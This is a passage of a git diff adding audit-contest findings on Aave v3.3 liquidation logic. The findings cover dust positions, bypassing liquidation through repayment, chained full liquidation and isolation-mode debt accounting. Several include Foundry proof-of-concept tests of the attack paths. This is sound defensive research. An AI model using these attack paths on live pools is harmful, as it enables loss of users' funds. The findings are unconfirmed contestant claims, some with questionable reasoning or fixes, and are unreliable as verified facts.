MIN_LEFTOVER_BASE mechanism (which enforces full liquidation unless a meaningful amount of collateral remains), a simple fix is to modify the “has collateral left” check to also account for whether the remaining value is below MIN_LEFTOVER_BASE. This would ensure that dust amounts are treated as effectively zero, allowing _burnBadDebt() to proceed. + +Regardless of the specific fix chosen, the core principle remains the same: Avoid using == to compare numbers that may have floating-point or precision discrepancies, especially in liquidation processes where large sums of money and internal price calculations are involved. Otherwise, “dust positions” may accumulate, preventing full liquidation and creating a systemic vulnerability. + diff --git a/145.md b/145.md new file mode 100644 index 0000000..9b406a6 --- /dev/null +++ b/145.md @@ -0,0 +1,67 @@ +Quick Plastic Crane + +Medium + +# Bypass of Liquidation Mechanism via Repayment with Low Health Factor + +### Summary + +The protocol allows borrowers to repay their loans even when their health factor is below the `HEALTH_FACTOR_LIQUIDATION_THRESHOLD`, which is the condition for liquidation. This creates an opportunity for users to front-run liquidators by making a partial repayment to improve their health factor and avoid liquidation, negatively impacting liquidators. + +### Root Cause + +The protocol does not perform a health factor check during the repayment process. This oversight allows borrowers with a low health factor (below the liquidation threshold) to bypass liquidation by repaying a small amount of debt, artificially improving their health factor before liquidators can act. + + + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +- Health Factor Below Threshold: A borrower’s health factor drops below the `HEALTH_FACTOR_LIQUIDATION_THRESHOLD`, making them eligible for liquidation. +- Front-Running Liquidators: The borrower identifies a pending liquidation attempt and executes a partial repayment (or complete repayment) transaction before the liquidation occurs. +- Health Factor Improvement: The partial repayment increases the borrower’s health factor above the threshold, making liquidation no longer possible. +- Liquidators Impacted: Liquidators are unable to execute the liquidation, losing potential profits + +### Impact + +- Reduced Liquidator Incentive: Liquidators are discouraged from participating in the system as their profitability depends on timely liquidation opportunities. + +### PoC + +paste in tests/protocol/pool/Pool.Liquidations.t.sol +```solidity +function test_mytest2() public { + uint256 supplyAmount = 0.5e8; + uint256 borrowAmount = 11000e6; + + vm.startPrank(alice); + contracts.poolProxy.supply(tokenList.wbtc, supplyAmount, alice, 0); + contracts.poolProxy.borrow(tokenList.usdx, borrowAmount, 2, 0, alice); + vm.stopPrank(); + + vm.warp(block.timestamp + 30 days); + LiquidationInput memory params = _loadLiquidationInput( + alice, + tokenList.wbtc, + tokenList.usdx, + UINT256_MAX, + tokenList.wbtc, + 16_00 + ); + + vm.prank(alice); + contracts.poolProxy.repay(tokenList.usdx, UINT256_MAX, 2, alice); + } +``` + +### Mitigation + +Health Factor Check During Repay: Implement a check during the repayment process to ensure the health factor is above the `HEALTH_FACTOR_LIQUIDATION_THRESHOLD` before allowing the transaction to proceed. +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L463-L466 \ No newline at end of file diff --git a/146.md b/146.md new file mode 100644 index 0000000..87b2e6b --- /dev/null +++ b/146.md @@ -0,0 +1,88 @@ +Tame Burlap Hornet + +Medium + +# Liquidation call in `LiquidationLogic.sol` can be optimized + +To implement the optimization of reducing SLOAD operations by storing userReserveDebt in a local variable, you can make the following changes to the executeLiquidationCall function. This involves storing the result of the balanceOf call in a local variable and using it throughout the function instead of accessing storage multiple times. + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L237 +```solidity +function executeLiquidationCall( + // ... existing code ... +) external { + // ... existing code ... + + uint256 userReserveDebt = IERC20(vars.debtReserveCache.variableDebtTokenAddress).balanceOf(params.user); + + // ... existing code ... + + vars.userReserveDebtInBaseCurrency = + (userReserveDebt * vars.debtAssetPrice) / + vars.debtAssetUnit; + + // ... existing code ... + + uint256 maxLiquidatableDebt = userReserveDebt; + + // ... existing code ... + + if ( + vars.actualDebtToLiquidate < userReserveDebt && + // ... existing code ... + ) { + bool isDebtMoreThanLeftoverThreshold = ((userReserveDebt - vars.actualDebtToLiquidate) * + vars.debtAssetPrice) / + vars.debtAssetUnit >= + MIN_LEFTOVER_BASE; + + // ... existing code ... + } + + // ... existing code ... + + _burnDebtTokens( + // ... existing code ... + userReserveDebt, + // ... existing code ... + ); + + // ... existing code ... +} +``` + +By extension this allows you to shrink the size of the LiquidationCallLocalVars struct: + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L170 +```solidity + struct LiquidationCallLocalVars { + uint256 userCollateralBalance; + uint256 userReserveDebt; // This can be removed from the struct after the above changes. + uint256 actualDebtToLiquidate; + uint256 actualCollateralToLiquidate; + uint256 liquidationBonus; + uint256 healthFactor; + uint256 liquidationProtocolFeeAmount; + uint256 totalCollateralInBaseCurrency; + uint256 totalDebtInBaseCurrency; + uint256 collateralToLiquidateInBaseCurrency; + uint256 userReserveDebtInBaseCurrency; + uint256 userReserveCollateralInBaseCurrency; + uint256 collateralAssetPrice; + uint256 debtAssetPrice; + uint256 collateralAssetUnit; + uint256 debtAssetUnit; + IAToken collateralAToken; + DataTypes.ReserveCache debtReserveCache; + } +``` + +This change helps in optimizing the gas usage of the executeLiquidationCall function which is the most gas critical part of a lending platform. + +For `test_liquidation_with_liquidation_grace_period_debt_active` this could save + +Gas Cost (USD)=0.000866×4,000=~3.464 USD + +This cost estimate adjusts for a competitive liquidation environment (at a price of $4k ETH), especially important if multiple transactions are involved. + +There are likely other fixes in this style that could be made in order to reduce redundant storage reads and potentially shrink the struct size further, but this one is the most isolated and simplest to implement without impacting readability or changing any logic. \ No newline at end of file diff --git a/147.md b/147.md new file mode 100644 index 0000000..8205ada --- /dev/null +++ b/147.md @@ -0,0 +1,106 @@ +Alert Lead Wolverine + +Medium + +# Incorrect Liquidation Condition Enforcement leading to breaking of invariant and wrong liquidation. + +### Summary + +The liquidation logic in the [executeLiquidationCall](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L279C5-L290C9) function fails to properly enforce the conditions for determining the maxLiquidatableDebt. Specifically, the condition combining health factor thresholds and debt/collateral checks uses a logical AND (&&) instead of a logical OR (||). This inconsistency causes some unhealthy positions to avoid full liquidation or to be partially liquidated when they should be fully liquidated. + +The current conditions for full liquidation implemented in the code: +```solidity +/ by default whole debt in the reserve could be liquidated + uint256 maxLiquidatableDebt = vars.userReserveDebt; + // but if debt and collateral is above or equal MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD + // and health factor is above CLOSE_FACTOR_HF_THRESHOLD this amount may be adjusted + if ( + vars.userReserveCollateralInBaseCurrency >= MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD && + vars.userReserveDebtInBaseCurrency >= MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD && + vars.healthFactor > CLOSE_FACTOR_HF_THRESHOLD + ) { + uint256 totalDefaultLiquidatableDebtInBaseCurrency = vars.totalDebtInBaseCurrency.percentMul( + DEFAULT_LIQUIDATION_CLOSE_FACTOR + ); +``` +It goes against the invariant in aave v3.3 properties.md which says; + +There are certain mutually inclusive conditions which increases the CLOSE_FACTOR to 100%: +When a users health-factor drops <=0.95 **or** +if the users total value of the debt position to be liquidated is below MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD +if the users total value of the collateral position to be liquidated is below MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD. + +The emphasis is on the **OR** used in the invariant above. So the condition should check if the health factor <= 0.95 OR collateral is below MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD before the entire position can be liquidated. +As we can see, this was violated due to the use of && (i.e && vars.healthFactor > CLOSE_FACTOR_HF_THRESHOLD) instead of ||. This leads to the breaking of the invariant and a situation where some unhealthy positions will not be liquidated when the health factor drops <= 0.95 but the collateral and debt is above MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD which may cause insolvency. + +### Root Cause + +In LiquidationLogic.sol: 283-286, The issue lies in the following condition within the code: + +```solidity +if ( + vars.userReserveCollateralInBaseCurrency >= MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD && + vars.userReserveDebtInBaseCurrency >= MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD && + vars.healthFactor > CLOSE_FACTOR_HF_THRESHOLD +) +``` + +This condition requires all three sub-conditions to be true before adjusting the maxLiquidatableDebt. However, the liquidation logic adjustment should apply **when the collateral/debt is above or equal to MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD OR when the health factor is above the CLOSE_FACTOR_HF_THRESHOLD.** + +This in line with the invariant in properties.md that says; + +There are certain mutually inclusive conditions which increases the CLOSE_FACTOR to 100%: + +- when a users health-factor drops <=0.95 **or** +- if the users total value of the debt position to be liquidated is below MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD +- if the users total value of the collateral position to be liquidated is below MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD + + +To be certain, I also asked the sponsor and the Sherlock judge what the statement means and how the liquidation logic should work, HERE IS THE REPLY I GOT: + +**The requirements for the liquidation are if the health factor is < 1 and > 0.95, then we can liquidate up to 50% of the position. If the health factor <= 0.95 OR collateral is below MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD, then the entire position can be liquidated** + +This further confirms that the current implementation goes against the expected logic flow thereby breaking the invariant and leading to scenarios where unhealthy positions will not be liquidated completely when the health factor drops <= 0.95 but the collateral and debt is above MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD which may cause insolvency. + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L279C5-L290C9 + +### Internal Pre-conditions + +The liquidation logic strictly enforces the combination of all three conditions (&&) + +### External Pre-conditions + +A user has a health factor (HF) ≤ 0.95, and their debt-to-collateral ratio is at above or equal to thresholds defined by MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD + +### Attack Path + + 1. A borrower with a dangerously low health factor (e.g., 0.90) and collateral/debt above or equal thresholds could avoid partial liquidation due to the incorrect enforcement of all three conditions. + 2. Such positions could persist until fully under-collateralized, exposing the protocol to bad debt during extreme market volatility. + 3. Exploitive users could deliberately leverage the flaw to maintain risky positions longer, increasing the likelihood of systemic risks to the protocol. + +The protocol should allow liquidation because the health factor is below the threshold, regardless of the debt/collateral thresholds. + +### Impact + +1. Breaks the invariant +2. Unhealthy positions can persist longer, leading to increased exposure to bad debt which will cause protocol insolvency + +### PoC + +_No response_ + +### Mitigation + +Modify the condition in the executeLiquidationCall function to use logical OR (||) instead of AND (&&), ensuring proper enforcement of liquidation thresholds: + +```solidity +if ( + vars.userReserveCollateralInBaseCurrency >= MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD && + vars.userReserveDebtInBaseCurrency >= MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD + || vars.healthFactor > CLOSE_FACTOR_HF_THRESHOLD +) { + uint256 totalDefaultLiquidatableDebtInBaseCurrency = vars.totalDebtInBaseCurrency.percentMul( + DEFAULT_LIQUIDATION_CLOSE_FACTOR + ); +} +``` \ No newline at end of file diff --git a/148.md b/148.md new file mode 100644 index 0000000..bc3cf9a --- /dev/null +++ b/148.md @@ -0,0 +1,82 @@ +Quick Plastic Crane + +Medium + +# Deficit in Liquidation Due to Edge Case in Health Factor Calculation + +### Summary + +An edge case in the protocol's liquidation logic leads to incomplete debt recovery when a borrower’s healthFactor equals 1. This scenario occurs due to specific configurations of liquidationThreshold and liquidationBonus. Since liquidation only triggers when healthFactor < 1, borrowers in this state avoid liquidation, resulting in a deficit when collateral eventually becomes insufficient to fully cover the debt. + +### Root Cause + +The protocol uses the following formula to calculate the `healthFactor`: + +healthFactor = +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/GenericLogic.sol#L164-L166 + +Liquidation only occurs if healthFactor < 1 + +However, if the healthFactor is exactly 1, liquidation does not trigger, even though the borrower is at the threshold of insolvency. This is exacerbated by the relationship between liquidationThreshold and liquidationBonus. When: +`liquidationThreshold.percentMul(liquidationBonus) == PercentageMath.PERCENTAGE_FACTOR` + +The above relationship is possible because of the check while setting liquidationThreshold and `liquidationBonus` +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/pool/PoolConfigurator.sol#L144-L147 + +Hene, the liquidation process can only recover the exact value of the collateral divided by the liquidationBonus, leaving an unliquidated debt. + + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +- **Scenario 1: Collateral and Debt Values Stabilizing Health Factor at 1** +- **Inputs:** + - totalCollateralInBaseCurrency = 100 + - totalDebtInBaseCurrency = 80 + - liquidationThreshold = 80% + - liquidationBonus = 125% + +- **This will give a helth factor of 1** +- **Expected Behavior**: Liquidation should occur because the borrower is insolvent. +- **Actual Behavior**: Liquidation does not occur as the condition requires healthFactor < 1. + +- **Scenario 2: Insufficient Collateral Leading to Deficit** +- **Initial State:** + - totalCollateralInBaseCurrency = 100 + - totalDebtInBaseCurrency = 81 + - liquidationThreshold = 80% + - liquidationBonus = 125% +- **Debt Recovery Calculation:** The maximum debt that can be recovered is from 100 collateral is 80; +- Deficit: The remaining debt is: +totalDebtInBaseCurrency − recoverableDebt = 81 − 80 = 1 + + +### Impact + +- The protocol incurs more deficits from incomplete liquidation. and hence more deficit to eliminate + +### PoC + +_No response_ + +### Mitigation + +Edit the `validateLiquidationCall` function +```diff +- require( +- params.healthFactor < HEALTH_FACTOR_LIQUIDATION_THRESHOLD, +- Errors.HEALTH_FACTOR_NOT_BELOW_THRESHOLD +- ); + ++require( ++ params.healthFactor <= HEALTH_FACTOR_LIQUIDATION_THRESHOLD, ++ Errors.HEALTH_FACTOR_NOT_BELOW_THRESHOLD ++ ); +``` \ No newline at end of file diff --git a/149.md b/149.md new file mode 100644 index 0000000..c67ea3c --- /dev/null +++ b/149.md @@ -0,0 +1,102 @@ +Fast Rouge Owl + +Medium + +# Rounding Error Can Incorrectly Classify a User as Having “No Collateral Left,” Forcing Protocol to Absorb Unnecessary Bad Debt + +### Summary + +In `executeLiquidationCall()`, the variable` hasNoCollateralLeft` is computed via an equality check: + +`bool hasNoCollateralLeft = vars.totalCollateralInBaseCurrency == vars.collateralToLiquidateInBaseCurrency;` + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L357-L358 + +Because both `totalCollateralInBaseCurrency` and `collateralToLiquidateInBaseCurrency` rely on integer division in their respective calculations, the equality can be incorrectly satisfied when there is still a small fraction of collateral remaining. As a result, the code proceeds to call `_burnBadDebt(),` treating the user’s leftover debt as “unrecoverable” and adding it to the reserve’s deficit. In effect, the protocol writes off a portion of the user’s debt and the user walks away with leftover collateral that was never seized. + + + +### Root Cause + +1-Integer Division in Price Conversions + +- vars.totalCollateralInBaseCurrency comes from GenericLogic.calculateUserAccountData, which converts each collateral amount into base currency by integer division. +- vars.collateralToLiquidateInBaseCurrency is similarly computed with integer division in _calculateAvailableCollateralToLiquidate. + +2-Exact Equality Check +The logic vars.totalCollateralInBaseCurrency == vars.collateralToLiquidateInBaseCurrency is too strict in an environment where integer division often floors small fractional amounts. A leftover fraction of collateral might not appear in `collateralToLiquidateInBaseCurrency`, tricking the code into thinking all collateral was seized. + +3-Premature Activation of _`burnBadDebt()` +Once `hasNoCollateralLeft` is **true**, `_burnBadDebt() `is **invoked,** **zeroing** out all remaining user debt across reserves and incrementing` reserve.deficit`. This results in a net loss to the protocol if the user truly still has some residual collateral. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +Assume the following: + +-A borrower deposits collateral worth 100.9999999 (in base currency terms) but due to integer truncation, GenericLogic.calculateUserAccountData sees 100 as total collateral. +-The user borrows an amount that puts their Health Factor slightly below 1. + +Liquidation + +-A liquidator calls executeLiquidationCall() and finds vars.collateralToLiquidateInBaseCurrency = 100 (rounded down). +-Because both values match at 100 in integer form, hasNoCollateralLeft becomes true. + +Bad Debt Forgiveness + +-The code calls _burnBadDebt(), treating the unliquidated fraction of collateral as if it does not exist. +-All remaining user debt is added to the reserve’s deficit and effectively “forgiven.” + +User Retains Hidden Collateral + +-The user (borrower) can later withdraw or re-supply the leftover fraction (0.9999999), effectively escaping part of their original debt. + +### Impact + +Monetary Loss for the Protocol: The leftover fraction of collateral remains with the user, yet the protocol absorbs the full shortfall in deficit. + +Potential Sybil or Bot Exploits: An attacker can automate small fractional leftover strategies to scale up repeated bad-debt write-offs. + +Destabilization of Reserve Health: Excessive, unaccounted deficits reduce overall pool solvency and can compromise the protocol’s standing liquidity. + +### PoC + +```solidity +// Suppose user has 100.9999 "units" of collateral. +// For integer math in Aave (e.g. GenericLogic), it shows as 100. + +// Liquidation tries to seize 100 units (collateralToLiquidateInBaseCurrency = 100). +bool hasNoCollateralLeft = 100 == 100; // true, though 0.9999 remains unaccounted + +// Protocol logic treats the user as fully out of collateral, calls _burnBadDebt(). +// userReserveDebt gets added to 'deficit', even though user still effectively has ~0.9999 of collateral. +``` + + +### Mitigation + +**Use Greater-Than-or-Equal Check with a Small Buffer** +Instead of strict equality, compare the total collateral seized with a small tolerance margin or check if the difference is “negligible.” + +```solidity + +if ( + vars.totalCollateralInBaseCurrency <= vars.collateralToLiquidateInBaseCurrency + TOLERANCE +) { + hasNoCollateralLeft = true; +} +``` +This will prevent an exact equality from firing if there is still a fractional leftover. + +**Store Collateral & Debt in Higher Precision:** +Move to a ray or wad representation for base currency conversions to reduce rounding errors. Then only floor once final amounts are computed. + +**Post-Liquidation Check on Actual Collateral Balance:** +After liquidation, re-check the user’s real on-chain `balanceOf()` or scaled balance in `aToken` to confirm the user truly has zero collateral. If a minimal leftover remains, skip` _burnBadDebt().` \ No newline at end of file diff --git a/150.md b/150.md new file mode 100644 index 0000000..c45b937 --- /dev/null +++ b/150.md @@ -0,0 +1,136 @@ +Trendy Ceramic Worm + +Medium + +# Low debt reserves can be fully liquidated even with HF > 0.95 + +### Summary + +In Aave v3.2, the optimal strategy during liquidation was to always liquidate up to the `maxLiquidatableDebt` for each reserve. In cases where HF > 0.95, this was consistently 50% of a given debt reserve, regardless of reserve debt size. + +In Aave v3.3, all low (~2000$+) reserve debts can now be fully liquidated through chained liquidation. The first transaction will reduces the reserve debt below the `MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD`, and the second fully liquidates the remaining debt. This approach ensures the best ROI for liquidators. + +In the Aave v3.3 users should be aware that if their reserve debt is below the `MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD`, it will be fully liquidated if the HF drops below 1. + +However, in situation where reserve debt is above the `MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD` and is fully liquidated, presenting a significant disadvantage for users. + +### Root Cause + +The issue originate from the fact that there is no minimum limit on the `debtToCover` amount that a liquidator must use to liquidate a position. A liquidator can use even a small amount (e.g., $5) to reduce the user reserve debt below the `MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD` and then fully liquidate the debt within chained transactions. This is possible as repaying $5–$50 of debt does not bring the HF back above 1 in most cases. + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L283-L287 + +### Internal Pre-conditions + +1. The user reserve debt is slightly above the `MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD`. +2. The current HF is below 1 but above 0.95. +3. The given debt reserve is more than half of the total debt. + +### External Pre-conditions + +None. + +### Attack Path + +1. A liquidator notices that the user HF drops below 1 and that their reserve debt is slightly above the `MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD`. +2. The liquidator calculates whether a repayment can reduce the debt below the `MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD` without bringing the HF back to 1 or higher. +3. If true, the liquidator performs a chained liquidation. The first step reduces the reserve debt below the `MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD`, and the second liquidates the remaining debt in full. + +### Impact + +- Direct loss of funds for the user. Under Aave v3.2, users would only be liquidated for half of their reserve debt, typically bringing the HF above 1. In Aave v3.3, users incur liquidation penalties on their entire reserve debt. + +### PoC + +Add the following to `Pool.Liquidations.CloseFactor.t.sol` to demonstrate the issue: + +```solidity +function test_PoC_New_Best_ROI() external { + _supplyToPool(tokenList.usdx, bob, 2300e6); + _borrowToBeBelowHf(bob, tokenList.weth, 0.97 ether); + console.log("User supply 2300$ worth of assets"); + console.log("User borrow ~2040$ worth of WETH"); + console.log("HF is ~0.97"); + + vm.prank(liquidator); + IERC20Detailed(tokenList.weth).approve(address(contracts.poolProxy), type(uint256).max); + vm.startPrank(liquidator); + + // Chained liquidation - can be called in one tx from helper contract + console.log("Repay ~50$ of debt to go below MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD"); + contracts.poolProxy.liquidationCall( + tokenList.usdx, + tokenList.weth, + bob, + 3e16, + false + ); + + console.log("Liquidate rest of debt reserve ~1990$ worth"); + contracts.poolProxy.liquidationCall( + tokenList.usdx, + tokenList.weth, + bob, + 2e18, + false + ); +} + +function test_PoC_Old_Best_ROI() external { + _supplyToPool(tokenList.usdx, bob, 2300e6); + _borrowToBeBelowHf(bob, tokenList.weth, 0.97 ether); + console.log("User supply 2300$ worth of assets"); + console.log("User borrow ~2040$ worth of WETH"); + console.log("HF is ~0.97"); + + vm.prank(liquidator); + IERC20Detailed(tokenList.weth).approve(address(contracts.poolProxy), type(uint256).max); + vm.startPrank(liquidator); + + console.log("Repay max possible ~1029$"); + contracts.poolProxy.liquidationCall( + tokenList.usdx, + tokenList.weth, + bob, + 2e18, + false + ); + + console.log("Rest is non-liquidatable as HF > 1"); + vm.expectRevert(bytes(Errors.HEALTH_FACTOR_NOT_BELOW_THRESHOLD)); + contracts.poolProxy.liquidationCall( + tokenList.usdx, + tokenList.weth, + bob, + 2e18, + false + ); +} +``` + +Console log: + +```text +[PASS] test_PoC_New_Best_ROI() (gas: 817734) +Logs: + User supply 2300$ worth of assets + User borrow ~2040$ worth of WETH + HF is ~0.97 + Repay ~50$ of debt to go below MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD + Liquidate rest of debt reserve ~1990$ worth + +[PASS] test_PoC_Old_Best_ROI() (gas: 765363) +Logs: + User supply 2300$ worth of assets + User borrow ~2040$ worth of WETH + HF is ~0.97 + Repay max possible ~1029$ + Rest is non-liquidatable as HF > 1 +``` + +As can be seen in first test the whole debt can be liquidated even that it was above `MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD`, and if liquidated within `DEFAULT_LIQUIDATION_CLOSE_FACTOR` the HF will be above 1. + +### Mitigation + +- Consider implementing a minimum `debtToCover` requirement when the debt exceeds the `MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD`. +- Reevaluate `MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD` values across different chains. \ No newline at end of file diff --git a/151.md b/151.md new file mode 100644 index 0000000..81644a5 --- /dev/null +++ b/151.md @@ -0,0 +1,63 @@ +Little Lead Barracuda + +Medium + +# Liquidators can still purposefully leave dust positions which are unprofitable to be closed. + +### Summary +With the new V3.3 update, AAVE introduces new logic which should prevent leaving low-value liquidateable positions as it is unprofitable for liquidators (for example on mainnet due to gas fees) and they keep on accruing fees. + +This should be achieved by requiring at least one of the following 3 is true when liquidating: +- all debt is liquidated +- all collateral is liquidated +- there's at least $1,000 in debt and at least $1,000 in collateral + +```solidity + if ( + vars.actualDebtToLiquidate < vars.userReserveDebt && + vars.actualCollateralToLiquidate + vars.liquidationProtocolFeeAmount < + vars.userCollateralBalance + ) { + bool isDebtMoreThanLeftoverThreshold = ((vars.userReserveDebt - vars.actualDebtToLiquidate) * + vars.debtAssetPrice) / + vars.debtAssetUnit >= + MIN_LEFTOVER_BASE; + + bool isCollateralMoreThanLeftoverThreshold = ((vars.userCollateralBalance - + vars.actualCollateralToLiquidate - + vars.liquidationProtocolFeeAmount) * vars.collateralAssetPrice) / + vars.collateralAssetUnit >= + MIN_LEFTOVER_BASE; + + require( + isDebtMoreThanLeftoverThreshold && isCollateralMoreThanLeftoverThreshold, + Errors.MUST_NOT_LEAVE_DUST + ); + } +``` + +The problem is that this is insufficient and still allows liquidator to purposefully leave out small position which only damage the protocol. + +To provide an example: +1. User has $5,000 debt in USDC and $1,500 debt in USDT +2. User has $5,100 collateral in WBTC and $1,600 collateral in WETH. +3. Liquidator liquidates $3,000 USDC debt for $3,030 WBTC collateral. +4. Liquidator liquidates $1,550 USDC for $1,600 WETH collateral +5. Liquidator liquidates $1,500 USDT for $1,550 in WBTC. +6. In the end, the remaining assets are $450 USDC debt and $520 WBTC. Both of them are below the $1,000 which otherwise should've been enforced. Due to gas costs it is unprofitable for any liquidator to liquidate them. They're only accruing interest and damaging the protocol. + + +### Root Cause +Faulty logic + +### Internal Pre-conditions +User should have multiple assets as collateral + +### Impact +Intended logic is not properly enforced. Low value liquidateable loans can still exist. They will accrue interest over time and only damage the protocol. + +### Affected Code +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L326 + +### Mitigation +Fix is non-trivial. \ No newline at end of file diff --git a/152.md b/152.md new file mode 100644 index 0000000..7465f58 --- /dev/null +++ b/152.md @@ -0,0 +1,267 @@ +Able Jade Bear + +Medium + +# Liquidation does not correctly decrease `reserveData[].isolationModeTotalDebt` if the collateral is entirely seized + + +### Summary + +During liquidation events, if user's collateral is completely seized, and the collateral is an isolation mode asset, the `reserveData[].isolationModeTotalDebt` of the collateral is not properly updated. This would effectively lower the debtCeilings of isolation mode assets, because there is unexisting debt that take up `reserveData[].isolationModeTotalDebt`. + +### Root Cause + +When a position is fully liquidated, if the position has only 1 collateral asset, and the collateral is an isolation mode asset, the `reserveData[].isolationModeTotalDebt` of this asset should decrease by the amount of debt repayed. + +For example, if WBTC is the isolation mode collateral asset, and USDC is the borrowed asset. During liquidation, if 1500 USDC is repayed, `reserveData[USDC].isolationModeTotalDebt` should decrease by 150000 (there is an additional 2 decimal precison). This is because the debt for this collateral is effectively being repayed. + +The issue here is, if during the liquidation, all of the collateral is seized, the `reserveData[].isolationModeTotalDebt` would not change. The root cause is `collateralReserve.id` would be first removed from the `userConfigBitmap`, which is effectively moving out of isolation mode. Then, when we try to update `reserveData[].isolationModeTotalDebt` in `IsolationModeLogic`, it will not work, because user is not in isolation mode anymore. + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L349-L379 +```solidity + // If the collateral being liquidated is equal to the user balance, + // we set the currency as not being used as collateral anymore + if ( + vars.actualCollateralToLiquidate + vars.liquidationProtocolFeeAmount == + vars.userCollateralBalance + ) { + // @audit-note: This is set to false first. +@> userConfig.setUsingAsCollateral(collateralReserve.id, false); + emit ReserveUsedAsCollateralDisabled(params.collateralAsset, params.user); + } + ... + + // IsolationModeTotalDebt only discounts `actualDebtToLiquidate`, not the fully burned amount in case of deficit creation. + // This is by design as otherwise debt debt ceiling would render ineffective if a collateral asset faces bad debt events. + // The governance can decide the raise the ceiling to discount manifested deficit. + + // @audit-note: Then isolation mode logic is updated. +@> IsolationModeLogic.updateIsolatedDebtIfIsolated( + reservesData, + reservesList, + userConfig, + vars.debtReserveCache, + vars.actualDebtToLiquidate + ); +``` + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/IsolationModeLogic.sol#L37-L38 +```solidity + + function updateIsolatedDebtIfIsolated( + mapping(address => DataTypes.ReserveData) storage reservesData, + mapping(uint256 => address) storage reservesList, + DataTypes.UserConfigurationMap storage userConfig, + DataTypes.ReserveCache memory reserveCache, + uint256 repayAmount + ) internal { + // @audit-note: User may no longer be in isolation mode, because he was removed earlier. +@> (bool isolationModeActive, address isolationModeCollateralAddress, ) = userConfig + .getIsolationModeState(reservesData, reservesList); + + if (isolationModeActive) { + uint128 isolationModeTotalDebt = reservesData[isolationModeCollateralAddress] + .isolationModeTotalDebt; + + uint128 isolatedDebtRepaid = (repayAmount / + 10 ** + (reserveCache.reserveConfiguration.getDecimals() - + ReserveConfiguration.DEBT_CEILING_DECIMALS)).toUint128(); + + // since the debt ceiling does not take into account the interest accrued, it might happen that amount + // repaid > debt in isolation mode + if (isolationModeTotalDebt <= isolatedDebtRepaid) { + reservesData[isolationModeCollateralAddress].isolationModeTotalDebt = 0; + emit IsolationModeTotalDebtUpdated(isolationModeCollateralAddress, 0); + } else { + uint256 nextIsolationModeTotalDebt = reservesData[isolationModeCollateralAddress] + .isolationModeTotalDebt = isolationModeTotalDebt - isolatedDebtRepaid; + emit IsolationModeTotalDebtUpdated( + isolationModeCollateralAddress, + nextIsolationModeTotalDebt + ); + } + } + } +``` + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/configuration/UserConfiguration.sol#L180 +```solidity + function getIsolationModeState( + DataTypes.UserConfigurationMap memory self, + mapping(address => DataTypes.ReserveData) storage reservesData, + mapping(uint256 => address) storage reservesList + ) internal view returns (bool, address, uint256) { +@> if (isUsingAsCollateralOne(self)) { + uint256 assetId = _getFirstAssetIdByMask(self, COLLATERAL_MASK); + + address assetAddress = reservesList[assetId]; + uint256 ceiling = reservesData[assetAddress].configuration.getDebtCeiling(); + if (ceiling != 0) { + return (true, assetAddress, ceiling); + } + } + return (false, address(0), 0); + } +``` + +### Internal pre-conditions + +1. Users has an isolation mode position with single asset as collateral. +2. Position is 100% liquidatable. + +### External pre-conditions + +1. Liquidators fully liquidate the position. + +### Attack Path + +No special attack path. + 